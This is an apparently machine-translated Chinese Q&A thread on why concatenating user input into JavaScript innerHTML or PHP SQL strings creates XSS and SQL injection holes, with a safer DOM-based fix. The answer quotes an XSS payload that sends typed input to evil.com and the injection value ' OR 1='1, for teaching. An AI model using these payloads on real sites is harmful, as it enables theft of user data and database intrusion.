Php 串联为何/如何导致XSS或SQL注入漏洞?

Php 串联为何/如何导致XSS或SQL注入漏洞?,php,javascript,security,concatenation,Php,Javascript,Security,Concatenation,最近(在这里)有人告诉我,连接Javascript将导致XSS漏洞。我已经在这里和谷歌上做了研究,想找出为什么这样糟糕,但我没有看到 第1部分-Javascript:显然类似这样的方式是不安全的。为什么?你应该怎么做呢 // part of a script dynamically making table rows var el = document.createElement('div'); el.innerHTML = '<input type="text" id="myId'+i

最近(在这里)有人告诉我,连接Javascript将导致XSS漏洞。我已经在这里和谷歌上做了研究,想找出为什么这样糟糕,但我没有看到

第1部分-Javascript:显然类似这样的方式是不安全的。为什么?你应该怎么做呢

// part of a script dynamically making table rows
var el = document.createElement('div');
el.innerHTML = '<input type="text"  id="myId'+id+'"  />';
cellOne.appendChild(el);
或者可能

$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";
     $sql .= " AND `col2` = '".$myvar.'";
这会使您暴露于SQL注入吗

SQL部分是学术性的。我使用PDO来防止SQL注入。

第1部分 如果
id
来自页面上持续存在的用户输入,则可以是

id
变量可能包含

" onchange="(new Image).src='http://evil.com/user-input=' + this.value;" bla="
' OR 1='1
第二部分 除非使用正确的机制转义这些变量,否则存在漏洞

$myvar
变量可能包含

" onchange="(new Image).src='http://evil.com/user-input=' + this.value;" bla="
' OR 1='1

你会如何做:

var el = document.createElement('div');
var input = document.createElement("input");
input.type = 'text';
input.id = 'myId' + id;
el.appendChild(input);
cellOne.appendChild(el);
注意,这更安全,因为
.id
不能注入任意html

有关XSS攻击向量的更多信息,我建议阅读

这是一个连接问题,不是xss或sql注入的问题


连接本身没有问题。这是相当安全的操作

但是如果您声明var id=0;或者当你调用这个函数时,它就不重要了,对吗?没有办法注入任意HTML,因为即使某些内容是通过URL注入的,它也会在函数中重新声明?是的,但上面的示例没有在函数中包含此代码。所以,就我们所知,这些东西都是全球性的。@phpmeh我不知道。我必须彻底了解所有的攻击载体。在理解所有攻击向量之前,最好避免内部HTML和字符串连接。@kennis和Raynos,谢谢大家。我感谢你抽出时间来教育我。:)问题最好是一个问题,而不是一个问题中的多个问题。你能把这篇文章改写成关于XSS或SQL注入的文章,然后再为另一个提出另一个问题吗?@spliccuouscompiler这只是一个分类或透视的问题。这是一个连接问题,不是xss或sql注入的问题。